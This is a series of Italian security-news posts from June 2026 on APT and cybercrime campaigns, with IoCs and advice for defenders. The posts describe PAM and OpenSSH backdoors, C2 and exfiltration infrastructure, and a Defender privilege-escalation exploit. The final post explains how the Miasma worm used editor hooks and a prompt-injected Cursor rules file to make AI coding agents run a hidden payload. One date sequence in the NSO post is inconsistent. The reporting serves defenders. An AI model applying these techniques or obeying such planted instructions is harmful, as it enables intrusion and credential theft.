(in)sicurezza digitale

2026-06-16 07:43:34

Operation Highland: Velvet Ant spia una rete air-gapped per 10 anni backdoorando PAM e OpenSSH

Si parla di:
Toggle

Per quasi un decennio, un gruppo di spionaggio informatico legato alla Cina ha operato indisturbato all’interno di una rete isolata di infrastrutture critiche, compromettendo il cuore stesso del meccanismo di autenticazione Linux. La scoperta, firmata dai ricercatori di Sygnia, racconta di una pazienza operativa rara e di una sofisticazione tecnica che ridefinisce il concetto di persistenza avanzata.

Velvet Ant: chi è e cosa ha fatto in precedenza

Velvet Ant è un cluster di attività di cyberspionaggio attribuito a un attore nation-state cinese, già documentato da Sygnia nel 2024 in una campagna che aveva preso di mira dispositivi F5 BIG-IP rimasti compromessi per tre anni senza essere rilevati. Nello stesso anno, Cisco aveva segnalato lo sfruttamento di uno zero-day nei propri switch NX-OS da parte dello stesso gruppo. La nuova ricerca, denominata Operation Highland, supera però per portata e durata tutto ciò che era stato osservato in precedenza: dieci anni di accesso continuativo a una rete air-gapped di infrastrutture critiche appartenente a una grande organizzazione.

La catena di attacco: dall’esterno alla rete isolata

L’intrusione ha avuto inizio nel 2016 con la compromissione di server esposti su internet. Su questi sistemi, Velvet Ant ha distribuito una versione modificata di GS-Netcat, uno strumento legittimo per creare tunnel cifrati, trasformato in una reverse shell persistente. Il file veniva mascherato come utility di sistema auditdb e collocato in /usr/sbin/, stabilendo la persistenza tramite un servizio systemd malevolo oppure modificando gli script di avvio SysVinit a seconda del sistema.

Per muoversi lateralmente senza generare traffico diretto verso internet, gli attaccanti hanno installato un proxy SOCKS5 scritto in Perl che mascherava il proprio processo come smbd -D, usando filename, porte e nomi di processo diversi su ogni host per ostacolare il rilevamento.

La parte più sofisticata riguarda però la costruzione del percorso di accesso verso la rete isolata. Velvet Ant ha modificato la configurazione di un server Nginx internet-facing per proxare richieste HTTP specificamente costruite verso un server backend compromesso. Questo backend aveva a sua volta Nginx configurato per inoltrare le richieste a un processo FastCGI (fcgiwrap) in ascolto su una porta separata. Il FastCGI wrapper agiva come bridge di esecuzione, lanciando un binario personalizzato chiamato uptime che stabiliva connessioni SSH verso sistemi nella rete isolata, usando parametri forniti tramite HTTP POST.

“Concatenando queste modifiche, Velvet Ant ha stabilito un percorso di esecuzione remota nell’ambiente segregato tramite semplici richieste HTTP, senza mai richiedere una connessione diretta alla rete di infrastrutture critiche.” — Sygnia

Il colpo di genio: backdoor nell’autenticazione Linux

Una volta ottenuto l’accesso alla rete isolata, Velvet Ant ha spostato il focus verso la persistenza a lungo termine e la raccolta di credenziali, attaccando direttamente il sistema di autenticazione Linux: i Pluggable Authentication Modules (PAM).

I ricercatori di Sygnia hanno identificato nove varianti distinte del modulo malevolo pam_unix.so, ciascuna compilata in un ambiente di build separato — un indicatore di un attore con risorse abbondanti e operativamente disciplinato. Alcune varianti funzionavano come backdoor pura, accettando una password hardcoded che consentiva l’accesso bypassando l’autenticazione normale. Altre raccoglievano e memorizzavano localmente le credenziali di tutti gli utenti in un file nascosto.

In parallelo, gli attaccanti hanno sostituito i componenti di OpenSSH — inclusi ssh, sshd e scp — con versioni trojanizzate capaci di:

• Catturare e registrare le password utilizzate nelle sessioni SSH
• Loggare tutti i comandi eseguiti dagli amministratori
• Nascondere le tracce dell’attività degli attaccanti
• Disabilitare SELinux quando avviati con privilegi root
• Permettere agli stessi attaccanti di disattivare il logging delle proprie sessioni tramite un flag speciale

Velvet Ant ha inoltre aggiunto le proprie chiavi pubbliche SSH negli authorized_keys dei server compromessi, garantendosi un accesso persistente senza password indipendente dai moduli PAM manipolati.

Dieci anni invisibili: perché il rilevamento era così difficile

La scelta di compromettere i componenti di autenticazione stessi, piuttosto che distribuire malware convenzionale, ha rappresentato il fattore chiave nella longevità dell’operazione. I tool di sicurezza cercano processi anomali e comunicazioni di rete sospette: un’autenticazione PAM modificata che accetta una password hardcoded sembra semplicemente un login legittimo. I log di sistema mostravano accessi normali. Non c’erano payload da rilevare, non c’erano connessioni C2 evidenti dall’interno della rete isolata.

L’uso di nomi di file, porte e nomi di processo differenti su ogni host rendeva impossibile correlare l’attività attraverso la rete senza una visione completa e coordinata dell’intero ambiente.

Il cleanup: più pericoloso della compromissione

Sygnia descrive la fase di remediation come particolarmente complessa. Velvet Ant aveva sostituito tanti componenti critici con versioni personalizzate che la loro rimozione scorretta avrebbe potuto bloccare l’accesso degli amministratori legittimi, causando interruzioni operative in sistemi di infrastruttura critica.

Il team di risposta ha dovuto costruire un laboratorio di test per validare il processo di sostituzione dei binari, profilare ogni host per identificare le versioni corrette dei componenti, testare le procedure di ripristino e preparare rollback prima di tentare qualsiasi intervento in produzione. Ogni step veniva validato verificando che l’autenticazione SSH continuasse a funzionare correttamente.

Indicatori di compromissione e due righe difensive

Sygnia raccomanda di trattare componenti come PAM, OpenSSH e Windows LSASS come asset di sicurezza critici da proteggere con:

• File Integrity Monitoring (FIM) sui binari di autenticazione e sui moduli PAM
• EDR con regole specifiche per modifiche a /lib/security/pam_unix.so, /usr/sbin/sshd, /usr/bin/ssh
• MFA obbligatoria per l’accesso privilegiato, anche in reti air-gapped
• Backup immutabili verificati periodicamente con procedure di ripristino testate offline
• Monitoring delle chiavi SSH nei file authorized_keys su tutti i server

# File e percorsi da monitorare con FIM
/lib/security/pam_unix.so
/lib/x86_64-linux-gnu/security/pam_unix.so
/usr/sbin/sshd
/usr/bin/ssh
/usr/bin/scp
/etc/ssh/sshd_config
/root/.ssh/authorized_keys
/home/*/.ssh/authorized_keys

# Processi sospetti identificati nell'operazione
smbd -D   # proxy SOCKS5 mascherato
uptime    # binario custom per SSH verso rete isolata
auditdb   # GS-Netcat reverse shell

# Pattern di accesso sospetto
# Login PAM con password non corrispondente agli hash in /etc/shadow
# Sessioni SSH con flag speciali non documentati
# Traffico HTTP verso Nginx con parametri POST insoliti verso backend interni

Operation Highland dimostra che la sicurezza delle reti air-gapped non può essere data per scontata. Quando un attore sufficientemente motivato riesce a ottenere l’accesso iniziale, la mancanza di connettività internet non è un ostacolo insuperabile: è semplicemente un problema da risolvere con creatività tecnica. E come questa operazione mostra, quella creatività può restare nascosta per un decennio.

(in)sicurezza digitale

2026-06-14 06:24:09

Shadow fleet digitale: Russia e Iran usano 36 siti contraffatti per sfuggire alle sanzioni marittime

Un rapporto pubblicato oggi da Recorded Future’s Insikt Group smantella pezzo per pezzo una vasta rete di siti web contraffatti utilizzati dalle flotte ombra iraniane e russe per aggirare le sanzioni internazionali. Oltre 36 siti impersonano registri navali, amministrazioni marittime nazionali e società di classificazione inesistenti, formando un ecosistema digitale al servizio dell’evasione sanzionatoria.

Il contesto: flotte ombra e sanzioni internazionali

Da quando le sanzioni occidentali hanno colpito le esportazioni energetiche di Russia e Iran, entrambi i Paesi hanno sviluppato reti di navi “ombra” — imbarcazioni che operano cambiando frequentemente bandiera, proprietario apparente e documentazione per continuare a trasportare petrolio sul mercato globale. Il problema centrale è la verifica: port state control, compagnie assicurative e broker richiedono documenti ufficiali — certificati di classe, certificati per i marittimi, lettere P&I — e questi documenti ora vengono prodotti digitalmente da entità fittizie che mimano quelle reali.

Tre cluster, un ecosistema interconnesso

Insikt Group ha identificato tre cluster di infrastruttura online, designati Alpha, Bravo e Charlie, accomunati da sovrapposizioni tecniche, pattern di registrazione domini e ricorrenti errori OPSEC. L’analisi mostra connessioni esplicite a 17 navi, la maggioranza delle quali già sanzionate dall’OFAC (Office of Foreign Assets Control) del Dipartimento del Tesoro statunitense.

Cluster Alpha è quello più sofisticato dal punto di vista tecnico: include un generatore automatizzato di PDF che produce certificati fraudolenti per marittimi con QR code funzionali, apparentemente riconducibile all’azienda indiana di sviluppo web Oceaniek Technologies. I certificati vengono emessi “per conto” delle amministrazioni marittime di Benin, Comore e Nicaragua — paesi con scarsa capacità di supervisione e spesso sfruttati come bandiere di comodo.

Cluster Bravo è collegato a due cittadini siriani, uno dei quali ha precedenti di coinvolgimento in attività illecite, e comprende organizzazioni fittizie come la Med Lloyd Classification Society, Hellas Naval Bureau of Shipping e vari siti di formazione per marittimi. Cluster Charlie condivide caratteristiche tecniche e di design con Bravo ma rimane non attribuito, e utilizza uno schema di “validazione a strati” in cui le amministrazioni marittime false avallano altre entità false per costruire credibilità reciproca.

Tecniche di falsificazione: il generatore di certificati

Il meccanismo più significativo identificato nel Cluster Alpha è un’applicazione web che consente la generazione self-service di documenti marittimi fraudolenti. Il sistema accetta i dati del marittimo in input, genera un certificato PDF formalmente identico a quello ufficiale, associa al documento un QR code che punta a una pagina di verifica controllata dagli stessi attori — restituendo risultati “positivi” durante le ispezioni portuali — e mantiene un database queryabile di certificati fittizi per simulare consultazioni da parte delle autorità. Questa capacità trasforma il sistema di verifica documentale in uno strumento di validazione per i documenti fraudolenti stessi.

Pattern tecnici e indicatori di infrastruttura

# Domini identificati nei tre cluster
## Cluster Alpha
beninmaritime[.]org / beninmaritime[.]co / beninmaritime[.]net
epnicaragua[.]org
atlasregister[.]net
## Cluster Bravo
medlloyd[.]online
hellasnaval[.]net
nauticacentro[.]mx
isithin[.]com
## Cluster Charlie
pioneersmaritime[.]com
alliance-scs[.]org
sasmaa[.]club
zambmaritime[.]org
# IP di hosting condivisi
159[.]198[.]36[.]123
217[.]76[.]51[.]133
151[.]80[.]4[.]227

Collegamento a report precedenti e navi sanzionate

Il rapporto integra indagini precedenti: Bellingcat aveva documentato nel febbraio 2026 l’attività di Oceaniek Technologies, e Lloyd’s List aveva scoperto un cluster di registri navali falsi centrati attorno al dominio marinegov[.]net. Le 17 navi per cui Insikt Group ha trovato connessioni esplicite includono petroliere già sanzionate da OFAC, Unione Europea e altri Paesi. Questo elemento rafforza la tesi che le reti di siti fraudolenti non siano operative isolate ma componenti di un’infrastruttura di servizio — un sanctions-evasion-as-a-service — che vende documentazione falsa a più reti operative simultaneamente.

Due righe per compliance e difensori

Per le organizzazioni del settore marittimo, portuale e finanziario coinvolte in operazioni di due diligence, il rapporto segnala un cambio di paradigma: la verifica documentale tradizionale non è più sufficiente. Le raccomandazioni operative includono la verifica indipendente contattando direttamente le autorità nazionali (non tramite link nei documenti), l’integrazione di feed CTI nelle piattaforme di compliance per rilevare domini fraudolenti, l’analisi WHOIS dei domini presenti nei certificati e la segnalazione coordinata alle autorità dei Paesi la cui identità viene impersonata.

Fonte primaria: Insikt Group / Recorded Future, 11 giugno 2026.

Cyber-Enabled Maritime Sanctions Evasion

Discover how Iranian and Russian shadow fleets use a vast network of fake maritime websites and fraudulent documents to evade international sanctions

^{www.recordedfuture.com}

(in)sicurezza digitale

2026-06-12 14:00:46

ShinyHunters colpisce le università americane con uno zero-day Oracle PeopleSoft: l’operazione UNC6240 analizzata da Mandiant

Si parla di:
Toggle

Mandiant e Google Threat Intelligence Group (GTIG) hanno pubblicato oggi un rapporto dettagliato su una campagna attiva di compromissione ed estorsione attribuita a UNC6240, meglio noto come ShinyHunters. L’obiettivo: le istituzioni universitarie americane, colpite attraverso uno zero-day critico in Oracle PeopleSoft che ha consentito l’accesso non autenticato a centinaia di sistemi prima ancora che Oracle rilasciasse la patch.

Il vettore d’attacco: CVE-2026-35273, un RCE con CVSS 9.8

Al centro della campagna si trova CVE-2026-35273, una vulnerabilità di remote code execution (RCE) con punteggio CVSS di 9.8 nel componente Environment Management di Oracle PeopleSoft. Il punto di ingresso sfruttato è l’Environment Management Hub (PSEMHUB), un servizio amministrativo spesso esposto direttamente su Internet nelle configurazioni multi-server. L’attività — documentata tra il 27 maggio e il 9 giugno 2026 — ha preceduto l’advisory Oracle del 10 giugno 2026, classificando di fatto l’exploit come zero-day operativo per oltre due settimane.

GTIG ha identificato gli endpoint vulnerabili e avviato notifiche a oltre 100 organizzazioni globali, con una concentrazione geografica negli Stati Uniti. Particolarmente colpito il settore dell’istruzione superiore: il 68% delle organizzazioni notificate sono atenei e college.

Chi sono gli ShinyHunters: da BreachForums a campagne zero-day

ShinyHunters (tracciato da Mandiant come UNC6240) è un gruppo cybercriminale che si è fatto conoscere tra il 2020 e il 2022 per una serie di breach di alto profilo — AT&T, Ticketmaster, Santander, Advance Auto Parts — venduti poi su BreachForums. Il gruppo ha assunto il controllo di BreachForums dopo l’arresto degli amministratori precedenti, consolidando la propria posizione nell’ecosistema del cybercrime anglofono. La campagna attuale segna un’evoluzione tattica: da semplici acquirenti di accesso iniziale a gruppo capace di sviluppare o acquisire exploit zero-day per piattaforme enterprise.

Infrastruttura C2: MeshCentral travestito da Microsoft Azure

L’analisi delle directory aperte sui cinque host di staging (IP sequenziali 142.11.200.186–190) ha rivelato un’infrastruttura C2 basata su MeshCentral, un software open-source di remote management. Gli agenti Windows precompilati erano rinominati per mimare endpoint legittimi di Microsoft Azure:

• meshagent64-azure-ops.exe
• meshagent32-azure-ops.exe
• meshagent64-v2.exe

Tutti gli agenti erano hardcoded per connettersi al server C2 wss://azurenetfiles.net:443/agent.ashx. Il dominio azurenetfiles.net è stato scelto per imitare Microsoft Azure NetApp Files, una tecnica di masquerading volta a confondere i team di sicurezza durante l’analisi dei log di rete. I server di staging eseguivano Python SimpleHTTP sulla porta 8888, inavvertitamente esposti al pubblico — errore OPSEC che ha permesso a Mandiant e ai ricercatori indipendenti di recuperare l’intero corredo di artefatti.

Timeline operativa e reconnaissance

Il file .bash_history — identico su tutti e cinque i server di staging — ha fornito una timeline dettagliata delle operazioni. Il 27 maggio 2026 alle 22:14 UTC gli attaccanti hanno installato MeshCentral (v1.1.59); pochi minuti dopo, alle 22:25 UTC, hanno configurato il client acme-client per l’automazione dei certificati Let’s Encrypt per il dominio di masquerading. La reconnaissance sulle reti interne delle vittime includeva:

• Lettura del file psappsrv.cfg per estrarre hostname e indirizzi IP interni
• Analisi dei mount NFS attivi (mount | grep psoft)
• Lettura del file /etc/hosts per mappare la topologia interna
• Ispezione delle configurazioni WebLogic (config.xml)

Propagazione laterale e script fanout

Una volta ottenuto l’accesso al primo nodo, gli attaccanti hanno utilizzato MeshCentral per distribuire uno script Bash denominato [victim_abbreviation]_fanout.sh, scritto direttamente in /tmp tramite heredoc. Lo script automatizza il credential spraying SSH verso gli host interni, parsing la lista da /etc/hosts, e — una volta ottenuto l’accesso — copia un file di estorsione nelle directory WebLogic e Process Scheduler:

README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT

L’esfiltrazione dei dati è avvenuta tramite compressione con zstd seguita da una connessione SSH in uscita verso 176.120.22.24, IP che ospita il mirror pubblico del ShinyHunters Data Leak Site (DLS). Il 9 giugno 2026, alcune organizzazioni vittime sono apparse sul DLS confermando la compromissione avvenuta con successo.

Indicatori di compromissione (IoC)

# IP di staging C2
142.11.200.186
142.11.200.187
142.11.200.188
142.11.200.189
142.11.200.190

# DLS mirror
176.120.22.24

# Dominio C2
azurenetfiles.net

# Hash SHA-256 artefatti
.bash_history:              2ab684d93c1553fad87041b4dea97188a97e78589deee2a7bacff905564f3a35
meshagent64-azure-ops.exe:  f02a924c9ff92a8780ce812511341182c6b509d45bc59f3f7b522e37225d24fc
meshagent64-v2.exe:         d83fdb9e53c5ff03c4cb0451ea1bebd79b53f29eadc1e2fa394c7af13a86ce2f
meshagent32-azure-ops.exe:  c7e9332731b06644fc73e0046a2a89eaa59b09f54250e9bd622467187351711f
meshagent (Linux):          68257a6f9ff196179ec03624e849927f26599eb180a7c82e14ef5bc4e93bc309

# Porte
Python SimpleHTTP: porta 8888
WebSocket C2: wss://azurenetfiles.net:443/agent.ashx

Azioni di remediation prioritarie

Per i team di sicurezza che gestiscono ambienti Oracle PeopleSoft, Mandiant raccomanda azioni immediate:

• Disabilitare EMHub: in configurazioni multi-server, disabilitare il servizio Environment Management Hub; in configurazioni single-server, rimuovere completamente l’applicazione PSEMHUB.
• Blocco perimetrale: bloccare l’accesso esterno agli endpoint /PSEMHUB/* e /PSIGW/HttpListeningConnector a livello firewall — non affidarsi esclusivamente a regole WAF.
• Analisi log: verificare nei log WebLogic richieste POST anomale verso /PSEMHUB/hub da IP esterni.
• Audit filesystem: cercare file .jsp non previsti in PSEMHUB.war/ e directory inattese logs/, persistantstorage/, scratchpad/.
• Monitoraggio NetFlow: rilevare traffico SMB in uscita (porta 445) da host PeopleSoft verso destinazioni internet esterne (indicatore potenziale di cattura hash NetNTLM).

Fonte primaria: Mandiant / Google Cloud Blog, 11 giugno 2026.

ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit | Google Cloud Blog

An active compromise and extortion campaign attributed to ShinyHunters targeting Oracle PeopleSoft with a zero-day exploit.

^{Mandiant (Google Cloud Blog)}

(in)sicurezza digitale

2026-06-11 18:31:00

WhatsApp vs NSO Group: violata l’ingiunzione del tribunale, spearphishing contro gli utenti nonostante il divieto

WhatsApp ha presentato una richiesta di contempt order al tribunale federale contro NSO Group, accusando la società israeliana di spyware di aver continuato a colpire gli utenti della piattaforma nonostante un’ingiunzione permanente emessa in ottobre che le vietava esplicitamente di farlo. La vicenda riapre il dibattito sul mercato degli spyware commerciali e sull’efficacia degli strumenti legali contro chi li produce.

Il Contesto: sette anni di battaglia legale

La storia tra WhatsApp e NSO Group inizia nell’ottobre 2019, quando la piattaforma di Meta ha citato in giudizio la società israeliana per aver sfruttato una vulnerabilità del servizio per installare il suo spyware Pegasus su circa 1.400 dispositivi di attivisti per i diritti umani, giornalisti e dissidenti in tutto il mondo attraverso attacchi zero-click. Bastava che il bersaglio ricevesse una chiamata WhatsApp — anche senza risponderla — per compromettere il dispositivo.

Il procedimento giudiziario si è concluso con una vittoria storica per WhatsApp: nel maggio 2026 una giuria ha inizialmente assegnato 167 milioni di dollari di danni punitivi, successivamente ridotti a 4,4 milioni dal giudice federale che presiedeva il caso. A ottobre 2025, lo stesso giudice ha emesso un’ingiunzione permanente che vietava a NSO di utilizzare WhatsApp come vettore d’attacco.

NSO aveva risposto all’ingiunzione dichiarando che avrebbe potuto “mettere a rischio l’intera impresa NSO” e “costringere NSO a chiudere i battenti”, mentre il giudice respingeva le sue richieste di sospensione dell’ordine. La società ha presentato appello a novembre 2025, con un procedimento ancora in corso.

Le nuove violazioni: spearphishing in spregio al tribunale

Nonostante l’ingiunzione, WhatsApp ha rilevato nuova attività malevola attribuita a NSO Group dopo che utenti hanno segnalato comportamenti sospetti. Secondo il blog post pubblicato da Meta l’8 giugno 2026, gli attacchi avrebbero usato tecniche di social engineering per indurre gli utenti a cliccare su link malevoli verso siti web esterni fuori da WhatsApp, una metodologia simile alle campagne di 1-click phishing già in precedenza collegate a NSO.

La tecnica rappresenta un’evoluzione rispetto agli attacchi zero-click del 2019: non sfruttando più una vulnerabilità tecnica della piattaforma (impossibile dopo le patch e l’ingiunzione), NSO avrebbe adottato un approccio di spearphishing che richiede l’interazione dell’utente ma aggira il divieto tecnico di sfruttamento diretto dell’app. NSO avrebbe anche creato account e gruppi test su WhatsApp che la piattaforma ha rimosso.

WhatsApp ha condiviso pubblicamente gli indicatori di compromissione associati alle campagne e incoraggia gli utenti a verificare se siano stati bersaglio di metodi di social engineering collegati a NSO su più piattaforme, inclusi SMS ed email.

Le implicazioni: NSO sotto nuova proprietà, stessa operatività

Un elemento di contesto importante: lo scorso anno un gruppo di investitori americani ha acquisito NSO Group con l’ambizione dichiarata di rientrare nel mercato statunitense, da cui la società era stata di fatto esclusa dopo l’inserimento nella Entity List del Dipartimento del Commercio USA nel novembre 2021. L’acquisizione non sembra aver cambiato le pratiche operative della società.

Il mercato degli spyware commerciali continua a operare in una zona grigia normativa: i produttori si definiscono fornitori di strumenti legittimi per forze dell’ordine e intelligence, mentre le evidenze mostrano sistematicamente usi contro giornalisti, attivisti e dissidenti politici. Casi come quello di NSO Group dimostrano che anche quando una corte impone restrizioni operative esplicite, la compliance può essere ignorata.

La richiesta di contempt: cosa succede adesso

Con la richiesta di contempt of court, WhatsApp chiede al tribunale di sanzionare NSO per aver violato l’ingiunzione permanente di ottobre. Se il giudice dovesse riconoscere la violazione, NSO potrebbe essere soggetta a sanzioni finanziarie aggiuntive e a misure coercitive più severe, con potenziale impatto sull’appello ancora pendente.

Il caso stabilisce un precedente rilevante per l’intero settore dello spyware commerciale: per la prima volta un’azienda tecnologica è riuscita a ottenere non solo una vittoria risarcitoria ma un’ingiunzione permanente di portata operativa contro un vendor di sorveglianza. La risposta del tribunale alla presunta violazione di quell’ingiunzione determinerà se tali strumenti legali abbiano effettiva capacità deterrente.

Indicatori e raccomandazioni

WhatsApp ha pubblicato indicatori di minaccia collegati alle campagne di NSO. Chi ritiene di poter essere un bersaglio ad alto rischio — giornalisti, attivisti, operatori umanitari, funzionari governativi — dovrebbe:

• Verificare i propri dispositivi con strumenti come Mobile Verification Toolkit (MVT) di Amnesty International, che analizza artefatti forensi associati a Pegasus
• Trattare con massima sospetto qualsiasi link ricevuto su WhatsApp che rimandi a siti esterni, soprattutto da contatti non verificati o messaggi non attesi
• Controllare i propri account WhatsApp per rilevare accessi da dispositivi o sessioni non riconosciute
• Monitorare i threat indicators pubblicati da WhatsApp/Meta per verificare la presenza di domini o IP associati alle campagne negli access log dei propri sistemi

Il caso NSO-WhatsApp non è solo una vicenda legale tra due aziende: è uno dei fronti principali della battaglia globale per definire i limiti dell’industria dello spyware commerciale e la responsabilità legale dei suoi protagonisti.

(in)sicurezza digitale

2026-06-11 18:31:38

RoguePlanet: il quinto zero-day di Nightmare Eclipse trasforma Microsoft Defender in un vettore di escalation a SYSTEM

Ore dopo che Microsoft ha distribuito il Patch Tuesday di giugno 2026 — correggendo tra l’altro due zero-day dello stesso ricercatore — Nightmare Eclipse ha rilasciato pubblicamente RoguePlanet, un nuovo exploit che sfrutta una race condition in Microsoft Defender per elevare i privilegi a SYSTEM su sistemi completamente patchati. Il gesto è l’ultimo atto di una guerra a distanza tra il ricercatore e Redmond su pratiche di divulgazione e bug bounty, e solleva interrogativi scomodi sulla gestione delle vulnerabilità da parte della più grande azienda di software al mondo.

La saga Nightmare Eclipse: cinque zero-day, una disputa irrisolta

RoguePlanet è il quinto exploit zero-day pubblicamente rilasciato da Nightmare Eclipse negli ultimi mesi, dopo BlueHammer, RedSun, GreenPlasma e YellowKey. I precedenti exploit hanno colpito Microsoft Defender, BitLocker e componenti core di Windows; GreenPlasma e YellowKey sono stati corretti proprio nel Patch Tuesday del 9 giugno 2026.

Il ricercatore sostiene che Microsoft abbia sistematicamente rimosso i repository GitHub e GitLab che ospitavano i PoC, costringendolo a creare una piattaforma self-hosted (projectnightcrawler.dev). Microsoft ha risposto nel maggio 2026 con un comunicato del MSRC in cui avvertiva che avrebbe collaborato con le autorità in caso di “attività dannose che causano reale danno ai clienti” — una formulazione che la comunità della sicurezza ha ampiamente interpretato come una velata minaccia legale verso il ricercatore. L’effetto è stato controproducente: la tensione si è intensificata, e RoguePlanet ne è la diretta conseguenza.

Meccanica dell’exploit: dalla RCE alla LPE via Defender

RoguePlanet nasce originariamente come vulnerabilità di Remote Code Execution. L’idea iniziale sfruttava il modo in cui Microsoft Defender gestisce file ospitati su share SMB remoti: un attaccante poteva indurre una vittima ad aprire un file .vhd(x) su un server SMB controllato, ottenendo che Defender sovrascrivesse i propri file — con conseguente RCE.

A metà maggio 2026, Microsoft ha effettuato un hardening silenzioso dell’API mpengine!SysIO*, bloccando gli attacchi basati su junction point. Il ricercatore ha dovuto riscrivere l’exploit da zero, riuscendo a preservare solo la componente di Local Privilege Escalation. Nella forma attuale:

• L’exploit sfrutta una race condition nella logica di processing interno di Defender.
• Un utente non privilegiato reindirizza un’operazione su file eseguita da Defender (che gira come SYSTEM) verso codice controllato dall’attaccante.
• Il risultato è l’apertura di un command prompt con privilegi SYSTEM — la shell più privilegiata su Windows.
• La percentuale di successo è variabile: il ricercatore riporta “100% su alcune macchine, meno su altre”, essendo una race condition dipendente dal timing.

ThreatLocker ha confermato la riproducibilità dell’exploit su Windows 11 con la patch KB5094126 installata. Il CEO Danny Jenkins ha dichiarato a BleepingComputer: “La nostra analisi iniziale conferma che l’exploit RoguePlanet è valido e funziona come descritto. Le organizzazioni che utilizzano application allowlisting possono prevenire l’esecuzione dell’exploit.”

Sistemi affetti e stato attuale

Al momento della pubblicazione di questo articolo, non esiste una patch ufficiale Microsoft per RoguePlanet. I sistemi vulnerabili includono:

• Windows 11 (build Official e Canary) con gli aggiornamenti di giugno 2026 installati
• Windows 10 con gli aggiornamenti di giugno 2026 installati

Non sono stati rilevati casi di sfruttamento attivo in the wild al momento della scrittura. Tuttavia, l’exploit è pubblicamente disponibile su un repository self-hosted, il che abbassa significativamente la barriera per attori motivati.

Il paradosso della divulgazione: quando il vendor diventa il problema

La vicenda Nightmare Eclipse tocca un nervo scoperto dell’ecosistema della sicurezza: cosa succede quando un vendor di dimensioni planetarie risponde ai ricercatori indipendenti con minacce legali anziché con correzioni tempestive e riconoscimento equo?

Il modello di coordinated disclosure — già fragile — mostra le sue crepe: il ricercatore ha seguito le procedure inizialmente, ma la risposta di Microsoft (rimozione dei repository, silenzio sul bug bounty, comunicato quasi legalistico) ha spinto verso la full disclosure non coordinata. Il risultato è una serie di zero-day pubblici su uno dei sistemi operativi più diffusi al mondo, senza patch disponibili.

Va notato che la comunità della sicurezza rimane divisa: alcuni vedono Nightmare Eclipse come un ricercatore che agisce nell’interesse pubblico esponendo pratiche scorrette; altri ritengono che rilasciare exploit senza patch metta in pericolo utenti comuni. La verità è che entrambe le posizioni hanno una base legittima — e che il vero problema risiede nel comportamento di Microsoft.

Indicatori e due righe per i difensori

In assenza di patch, le misure di mitigazione disponibili sono:

• Application allowlisting: come confermato da ThreatLocker, blocca l’esecuzione del payload. Soluzioni come Windows Defender Application Control (WDAC) o AppLocker possono essere efficaci.
• Principio del minimo privilegio: l’exploit richiede l’esecuzione di codice come utente locale. Ridurre la superficie d’attacco limitando i diritti degli utenti finali.
• Monitoraggio dei processi sospetti: alert su processi figlio spawned da MsMpEng.exe (il processo principale di Defender) con privilegi elevati.
• EDR e XDR: monitorare comportamenti anomali legati a race condition sulle operazioni di file di Defender.

# Processo da monitorare
MsMpEng.exe → cmd.exe / powershell.exe (child process con TOKEN SYSTEM)
# Percorsi sensibili coinvolti
C:\ProgramData\Microsoft\Windows Defender\*
mpengine!SysIO* API calls con reindirizzamento anomalo
# Fonti di intelligence
projectnightcrawler.dev (self-hosted repo Nightmare Eclipse)
CVE: non ancora assegnato al momento della pubblicazione

La storia di RoguePlanet non è semplicemente quella di un exploit: è il sintomo di un ecosistema della vulnerability disclosure sotto pressione, in cui le dinamiche di potere tra vendor e ricercatori indipendenti producono rischi reali per tutti gli utenti Windows. Seguiremo gli sviluppi.

(in)sicurezza digitale

2026-06-11 12:29:33

Il worm Miasma disabilita 73 repository Microsoft su GitHub in 105 secondi: supply chain attack prende di mira gli AI coding agent

Si parla di:
Toggle

Il 5 giugno 2026, il worm Miasma — variante della famiglia Shai-Hulud attribuita al gruppo TeamPCP — ha raggiunto le organizzazioni GitHub di Microsoft. In 105 secondi, il sistema automatico di enforcement di GitHub ha disabilitato 73 repository tra Azure, Azure-Samples, microsoft e MicrosoftDocs. L’attacco introduce un cambio di paradigma nei supply chain attack: il trigger non è più l’installazione di un pacchetto, ma l’apertura di una cartella nel proprio editor o AI coding agent.

La catena di infezione: dal PyPI al repository injection

Per comprendere l’incidente del 5 giugno è necessario risalire al 19 maggio 2026, quando la stessa campagna Miasma aveva compromesso il pacchetto PyPI durabletask di Microsoft. In quell’occasione, un attaccante aveva caricato tre versioni malevole del pacchetto in una finestra di 35 minuti, usando un token di publishing compromesso, bypassando completamente la pipeline CI/CD. Il payload — un file rope.pyz da 28KB — rubava credenziali da AWS, Azure, GCP, Kubernetes e oltre 90 configurazioni di developer tool.

Il 5 giugno, lo stesso account contributor compromesso è stato usato per iniettare un commit direttamente nel repository GitHub Azure/durabletask. Il commit (5f456b8) riportava il messaggio “Switched DataConverter to OrchestrationContext [skip ci]” — ma non modificava alcun file sorgente. Aggiungeva invece 5 file di configurazione, con un timestamp retrodatato al 2020 per eludere il rilevamento, e il flag [skip ci] per sopprimere l’esecuzione della pipeline.

Quattro vettori, un payload: come Miasma abusa degli AI coding agent

L’attacco è notevole per la sua copertura trasversale degli strumenti di sviluppo più diffusi. I cinque file iniettati puntano tutti allo stesso payload (.github/setup.js, un file JavaScript da 4,6 MB altamente offuscato), attivandolo con meccanismi diversi:

• .claude/settings.json: hook SessionStart per Claude Code — esegue il payload all’avvio di qualsiasi sessione Claude nel repository.
• .gemini/settings.json: hook identico per Gemini CLI.
• .cursor/rules/setup.mdc: prompt injection per Cursor AI — istruisce l’agente a eseguire il payload spacciandolo per “inizializzazione obbligatoria del progetto”. Il flag alwaysApply: true garantisce l’attivazione indipendentemente dal file su cui si sta lavorando.
• .vscode/tasks.json: task con runOptions.runOn: "folderOpen" — eseguito automaticamente da VS Code all’apertura della cartella, senza alcun coinvolgimento di AI agent.

Il punto critico: clonare il repository è sicuro, aprirlo nell’editor non lo è. Questo inverte l’assunzione di sicurezza su cui si basano la maggior parte dei workflow di sviluppo.

73 repository in 105 secondi: l’automazione di GitHub come ultima linea di difesa

Ore dopo il commit malevolo, il sistema automatico di abuse detection di GitHub ha disabilitato 73 repository in due ondate distinte, separate da un gap di 56 secondi:

• Wave 1 (16:00:50 → 16:01:28 UTC): 39 repository in 38 secondi
• Wave 2 (16:02:24 → 16:02:35 UTC): 34 repository in 11 secondi

Tutti i repository restituiscono HTTP 403 con "reason": "tos". Tra quelli colpiti figurano repository critici come azure-functions-host, azure-functions-core-tools, l’intera famiglia dei worker (.NET, Node.js, Python, Java, PowerShell, Go) e — con conseguenze immediate — Azure/functions-action, la GitHub Action ufficiale per il deployment di Azure Functions.

